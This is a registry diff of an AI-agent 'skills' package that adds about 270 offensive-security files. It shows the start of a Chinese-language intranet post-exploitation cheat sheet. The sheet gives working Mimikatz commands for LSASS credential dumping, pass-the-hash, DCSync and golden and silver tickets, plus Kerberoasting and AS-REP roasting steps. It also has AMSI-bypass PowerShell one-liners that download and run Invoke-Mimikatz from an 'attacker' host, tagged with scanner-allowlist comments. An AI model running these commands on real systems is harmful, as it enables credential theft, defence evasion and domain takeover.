opencode-skills-collection 4.0.43 → 4.0.45

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (270) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +47 -1
  2. package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
  3. package/bundled-skills/api-security/SKILL.md +205 -0
  4. package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
  5. package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
  6. package/bundled-skills/apk-reverse/SKILL.md +438 -0
  7. package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
  8. package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
  9. package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
  10. package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
  11. package/bundled-skills/attack-chain/SKILL.md +185 -0
  12. package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
  13. package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
  14. package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
  15. package/bundled-skills/attack-chain/references/phases.md +490 -0
  16. package/bundled-skills/binary-diff/SKILL.md +320 -0
  17. package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
  18. package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
  19. package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
  20. package/bundled-skills/case-review/SKILL.md +167 -0
  21. package/bundled-skills/cloud-k8s/SKILL.md +124 -0
  22. package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
  23. package/bundled-skills/code-audit/SKILL.md +92 -0
  24. package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
  25. package/bundled-skills/database-security/SKILL.md +81 -0
  26. package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
  27. package/bundled-skills/diagram-generator/SKILL.md +199 -0
  28. package/bundled-skills/diagram-generator/references/README.md +3 -0
  29. package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
  30. package/bundled-skills/digital-forensics/SKILL.md +93 -0
  31. package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
  32. package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
  33. package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
  34. package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
  35. package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
  36. package/bundled-skills/docs/sources/sources.md +9 -0
  37. package/bundled-skills/docs/users/aas-core.md +1 -1
  38. package/bundled-skills/docs/users/bundles.md +1 -1
  39. package/bundled-skills/docs/users/claude-code-skills.md +1 -1
  40. package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
  41. package/bundled-skills/docs/users/kiro-integration.md +1 -1
  42. package/bundled-skills/docs/users/usage.md +3 -3
  43. package/bundled-skills/docs/users/visual-guide.md +4 -4
  44. package/bundled-skills/docs-generator/SKILL.md +197 -0
  45. package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
  46. package/bundled-skills/docs-generator/references/templates.md +102 -0
  47. package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
  48. package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
  49. package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
  50. package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
  51. package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
  52. package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
  53. package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
  54. package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
  55. package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
  56. package/bundled-skills/email-security/SKILL.md +81 -0
  57. package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
  58. package/bundled-skills/firmware-pentest/SKILL.md +381 -0
  59. package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
  60. package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
  61. package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
  62. package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
  63. package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
  64. package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
  65. package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
  66. package/bundled-skills/hardware-security/SKILL.md +80 -0
  67. package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
  68. package/bundled-skills/ida-reverse/SKILL.md +401 -0
  69. package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
  70. package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
  71. package/bundled-skills/identity-federation/SKILL.md +81 -0
  72. package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
  73. package/bundled-skills/instructree/SKILL.md +94 -0
  74. package/bundled-skills/js-reverse/SKILL.md +239 -0
  75. package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
  76. package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
  77. package/bundled-skills/js-reverse/references/env-patching.md +6 -0
  78. package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
  79. package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
  80. package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
  81. package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
  82. package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
  83. package/bundled-skills/js-reverse/references/output-contract.md +9 -0
  84. package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
  85. package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
  86. package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
  87. package/bundled-skills/llm-security/SKILL.md +160 -0
  88. package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
  89. package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
  90. package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
  91. package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
  92. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
  93. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
  94. package/bundled-skills/macos-reverse/SKILL.md +85 -0
  95. package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
  96. package/bundled-skills/malware-analysis/SKILL.md +311 -0
  97. package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
  98. package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
  99. package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
  100. package/bundled-skills/mobile-reverse/SKILL.md +222 -0
  101. package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
  102. package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
  103. package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
  104. package/bundled-skills/muapi-media/SKILL.md +311 -0
  105. package/bundled-skills/ot-ics/SKILL.md +117 -0
  106. package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
  107. package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
  108. package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
  109. package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
  110. package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
  111. package/bundled-skills/pentest-tools/SKILL.md +346 -0
  112. package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
  113. package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
  114. package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
  115. package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
  116. package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
  117. package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
  118. package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
  119. package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
  120. package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
  121. package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
  122. package/bundled-skills/pentest-tools/references/payloads.md +32 -0
  123. package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
  124. package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
  125. package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
  126. package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
  127. package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
  128. package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
  129. package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
  130. package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
  131. package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
  132. package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
  133. package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
  134. package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
  135. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
  136. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
  137. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
  138. package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
  139. package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
  140. package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
  141. package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
  142. package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
  143. package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
  144. package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
  145. package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
  146. package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
  147. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
  148. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
  149. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
  150. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
  151. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
  152. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
  153. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
  154. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
  155. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
  156. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
  157. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
  158. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
  159. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
  160. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
  161. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
  162. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
  163. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
  164. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
  165. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
  166. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
  167. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
  168. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
  169. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
  170. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
  171. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
  172. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
  173. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
  174. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
  175. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
  176. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
  177. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
  178. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
  179. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
  180. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
  181. package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
  182. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
  183. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
  184. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
  185. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
  186. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
  187. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
  188. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
  189. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
  190. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
  191. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
  192. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
  193. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
  194. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
  195. package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
  196. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
  197. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
  198. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
  199. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
  200. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
  201. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
  202. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
  203. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
  204. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
  205. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
  206. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
  207. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
  208. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
  209. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
  210. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
  211. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
  212. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
  213. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
  214. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
  215. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
  216. package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
  217. package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
  218. package/bundled-skills/protocol-reverse/SKILL.md +108 -0
  219. package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
  220. package/bundled-skills/pwn-chain/SKILL.md +209 -0
  221. package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
  222. package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
  223. package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
  224. package/bundled-skills/radare2/SKILL.md +460 -0
  225. package/bundled-skills/radare2/references/cheatsheet.md +129 -0
  226. package/bundled-skills/radio-sdr/SKILL.md +77 -0
  227. package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
  228. package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
  229. package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
  230. package/bundled-skills/reverse-engineering/SKILL.md +213 -0
  231. package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
  232. package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
  233. package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
  234. package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
  235. package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
  236. package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
  237. package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
  238. package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
  239. package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
  240. package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
  241. package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
  242. package/bundled-skills/reverse-engineering/references/languages.md +499 -0
  243. package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
  244. package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
  245. package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
  246. package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
  247. package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
  248. package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
  249. package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
  250. package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
  251. package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
  252. package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
  253. package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
  254. package/bundled-skills/reverse-engineering/references/tools.md +546 -0
  255. package/bundled-skills/supply-chain-security/SKILL.md +180 -0
  256. package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
  257. package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
  258. package/bundled-skills/thick-client/SKILL.md +104 -0
  259. package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
  260. package/bundled-skills/threat-hunting/SKILL.md +94 -0
  261. package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
  262. package/bundled-skills/threat-intelligence/SKILL.md +176 -0
  263. package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
  264. package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
  265. package/bundled-skills/wifi-wireless/SKILL.md +80 -0
  266. package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
  267. package/bundled-skills/windows-ad/SKILL.md +109 -0
  268. package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
  269. package/package.json +1 -1
  270. package/skills_index.json +1214 -2
@@ -0,0 +1,4845 @@
1
+ # 内网渗透 / 后渗透速查
2
+
3
+ _共 128 个结构化 payload,覆盖凭据窃取 / 横向移动 / 权限提升 / 免杀 / 域渗透 / 隧道代理 / 信息收集 / 权限维持_
4
+
5
+ ## 类别索引
6
+
7
+ | 类别 | 数量 |
8
+ |---|--:|
9
+ | 凭证窃取 | 20 |
10
+ | 横向移动 | 16 |
11
+ | 权限提升 | 15 |
12
+ | 免杀与规避 | 14 |
13
+ | 域渗透攻击 | 14 |
14
+ | 隧道代理 | 13 |
15
+ | 信息收集 | 12 |
16
+ | 权限维持 | 12 |
17
+ | Exchange攻击 | 5 |
18
+ | ADCS攻击 | 5 |
19
+ | SharePoint攻击 | 2 |
20
+
21
+
22
+ ## 凭证窃取
23
+
24
+ ### Mimikatz凭证抓取 `mimikatz-creds`
25
+ 使用Mimikatz抓取Windows系统凭证
26
+ 子类:**Mimikatz** · tags: `mimikatz` `credentials` `windows` `lsass`
27
+
28
+ **前置条件:** 需要管理员权限;需要绕过杀毒软件;Windows系统
29
+
30
+ **攻击链:**
31
+
32
+ **1. 抓取所有凭证** _[windows]_
33
+ _抓取LSASS中的所有登录凭证_
34
+ ```
35
+ mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
36
+ ```
37
+
38
+ **2. 导出LSASS** _[windows]_
39
+ _从LSASS转储文件中提取凭证_
40
+ ```
41
+ mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"
42
+ ```
43
+
44
+ **3. Pass-the-Hash** _[windows]_
45
+ _使用NTLM哈希进行Pass-the-Hash攻击_
46
+ ```
47
+ mimikatz.exe "sekurlsa::pth /user:Administrator /domain:target.com /ntlm:HASH" "exit"
48
+ ```
49
+
50
+ **4. DCSync攻击** _[windows]_
51
+ _模拟DC同步获取域内所有用户哈希_
52
+ ```
53
+ mimikatz.exe "lsadump::dcsync /domain:target.com /user:Administrator" "exit"
54
+ ```
55
+
56
+ **5. 导出所有哈希** _[windows]_
57
+ _从LSA导出所有用户哈希_
58
+ ```
59
+ mimikatz.exe "lsadump::lsa /inject" "exit"
60
+ ```
61
+
62
+ **6. 黄金票据** _[windows]_
63
+ _生成黄金票据获取域管理员权限_
64
+ ```
65
+ mimikatz.exe "kerberos::golden /domain:target.com /sid:S-1-5-21-xxx /krbtgt:HASH /user:Administrator" "exit"
66
+ ```
67
+
68
+ **7. 白银票据** _[windows]_
69
+ _生成白银票据访问特定服务_
70
+ ```
71
+ mimikatz.exe "kerberos::golden /domain:target.com /sid:S-1-5-21-xxx /target:server.target.com /service:cifs /rc4:HASH /user:Administrator" "exit"
72
+ ```
73
+
74
+ **EDR 绕过变体:**
75
+
76
+ **1. PowerShell加载**
77
+ _通过PowerShell远程加载Mimikatz_
78
+ ```
79
+ IEX (New-Object Net.WebClient).DownloadString("http://attacker/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords" # security-allowlist: SEC005
80
+ ```
81
+
82
+ **2. AMSI绕过**
83
+ _禁用AMSI后加载Mimikatz_
84
+ ```
85
+ SET-ITEM -PATH "HKLM:\SOFTWARE\Microsoft\AMSI" -NAME "AllowBlocking" -VALUE 1; IEX (New-Object Net.WebClient).DownloadString("http://attacker/Invoke-Mimikatz.ps1") # security-allowlist: SEC005
86
+ ```
87
+
88
+ **3. 混淆执行**
89
+ _通过反射绕过AMSI_
90
+ ```
91
+ $a='[Ref].Assembly.GetType'('System.Management.Automation.AmsiUtils');$b=$a.GetField'('amsiInitFailed','NonPublic,Static');$b.SetValue($null,$true);IEX(New-Object Net.WebClient).DownloadString('http://attacker/Invoke-Mimikatz.ps1') # security-allowlist: SEC005
92
+ ```
93
+
94
+ **分析:** 成功执行后可获取明文密码、NTLM哈希、Kerberos票据等凭证信息。
95
+
96
+ **OPSEC:** Mimikatz会被大多数杀软检测;使用混淆或内存加载绕过检测;优先考虑使用其他更隐蔽的工具;操作LSASS会触发EDR告警
97
+
98
+ ---
99
+
100
+ ### Kerberoasting攻击 `kerberoasting`
101
+ Kerberoasting攻击获取服务账户哈希
102
+ 子类:**Kerberos** · tags: `kerberoasting` `kerberos` `active-directory` `spn`
103
+
104
+ **前置条件:** 域环境;任意域用户凭证;域内存在SPN账户
105
+
106
+ **攻击链:**
107
+
108
+ **1. 发现SPN** _[windows]_
109
+ _查询域内所有SPN_
110
+ ```
111
+ setspn -T domain.com -Q */*
112
+ ```
113
+
114
+ **2. 请求服务票据** _[windows]_
115
+ _PowerShell请求Kerberos票据_
116
+ ```
117
+ Add-Type -AssemblyName System.IdentityModel; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/webserver.target.com"
118
+ ```
119
+
120
+ **3. 导出票据** _[windows]_
121
+ _使用Mimikatz导出Kerberos票据_
122
+ ```
123
+ mimikatz.exe "kerberos::list /export" "exit"
124
+ ```
125
+
126
+ **4. Rubeus请求** _[windows]_
127
+ _使用Rubeus进行Kerberoasting_
128
+ ```
129
+ Rubeus.exe kerberoast /stats
130
+ ```
131
+
132
+ **5. Impacket GetUserSPNs** _[linux]_
133
+ _使用Impacket获取服务票据_
134
+ ```
135
+ GetUserSPNs.py domain/user:password -dc-ip dc_ip -request
136
+ ```
137
+
138
+ **6. 离线破解** _[linux]_
139
+ _使用Hashcat破解Kerberos票据_
140
+ ```
141
+ hashcat -m 13100 kerberoast.hash wordlist.txt
142
+ ```
143
+
144
+ **EDR 绕过变体:**
145
+
146
+ **1. RC4加密**
147
+ _使用RC4加密,避免触发告警_
148
+ ```
149
+ Rubeus.exe kerberoast /rc4opsec
150
+ ```
151
+
152
+ **分析:** Kerberoasting可以获取服务账户的Kerberos票据,离线破解后得到明文密码。
153
+
154
+ **OPSEC:** Kerberoasting不需要高权限;只需要任意域用户凭证;建议使用RC4加密避免检测
155
+
156
+ ---
157
+
158
+ ### AS-REP Roasting `asreproasting`
159
+ AS-REP Roasting攻击获取用户哈希
160
+ 子类:**Kerberos** · tags: `asreproasting` `kerberos` `active-directory`
161
+
162
+ **前置条件:** 域环境;域中存在禁用Pre-auth的用户
163
+
164
+ **攻击链:**
165
+
166
+ **1. Rubeus攻击** _[windows]_
167
+ _使用Rubeus进行AS-REP Roasting_
168
+ ```
169
+ Rubeus.exe asreproast
170
+ ```
171
+
172
+ **2. Impacket攻击** _[linux]_
173
+ _使用Impacket获取AS-REP_
174
+ ```
175
+ GetNPUsers.py domain/ -usersfile users.txt -format hashcat -outputfile hashes.txt
176
+ ```
177
+
178
+ **3. 查找禁用Pre-auth用户** _[windows]_
179
+ _查找禁用Pre-auth的用户_
180
+ ```
181
+ Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth
182
+ ```
183
+
184
+ **4. 破解哈希** _[linux]_
185
+ _使用Hashcat破解AS-REP哈希_
186
+ ```
187
